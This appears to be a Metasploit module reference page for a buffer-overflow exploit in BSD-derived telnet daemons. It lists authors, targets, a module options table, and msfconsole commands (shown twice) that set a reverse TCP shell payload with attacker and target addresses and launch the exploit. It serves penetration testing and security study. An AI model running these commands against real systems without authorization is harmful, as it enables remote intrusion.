Linux BSD-derived Telnet Service Encryption Key ID Buffer Overflow
This module exploits a buffer overflow in the encryption option handler of the Linux BSD-derived telnet service (inetutils or krb5-telnet). Most Linux distributions use NetKit-derived telnet daemons, so this flaw only applies to a small subset of Linux systems running telnetd.
Exploit Rank
- Great
Exploit Authors
- Jaime Penalba Estebanez < jpenalbae [at] gmail.com >
- Brandon Perry < bperry.volatile [at] gmail.com >
- Dan Rosenberg < >
- hdm < hdm [at] metasploit.com >
Vulnerability References
Exploit Targets
- 0 - Automatic (default)
- 1 - Red Hat Enterprise Linux 3 (krb5-telnet)
Exploit Development
Similar Exploit Modules
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/linux/telnet/telnet_encrypt_keyid
msf exploit(telnet_encrypt_keyid) > show payloads
msf exploit(telnet_encrypt_keyid) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(telnet_encrypt_keyid) > set LHOST [MY IP ADDRESS]
msf exploit(telnet_encrypt_keyid) > set RHOST [TARGET IP]
msf exploit(telnet_encrypt_keyid) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/linux/telnet/telnet_encrypt_keyid
msf exploit(telnet_encrypt_keyid) > show payloads
msf exploit(telnet_encrypt_keyid) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(telnet_encrypt_keyid) > set LHOST [MY IP ADDRESS]
msf exploit(telnet_encrypt_keyid) > set RHOST [TARGET IP]
msf exploit(telnet_encrypt_keyid) > exploit
Exploit Module Options
| PASSWORD | The password for the specified username |
| RHOST | The target address |
| RPORT | The target port (default: 23) |
| USERNAME | The username to authenticate as |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| TelnetBannerTimeout | The number of seconds to wait for the initial banner |
| TelnetTimeout | The number of seconds to wait for a reply from a Telnet command |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
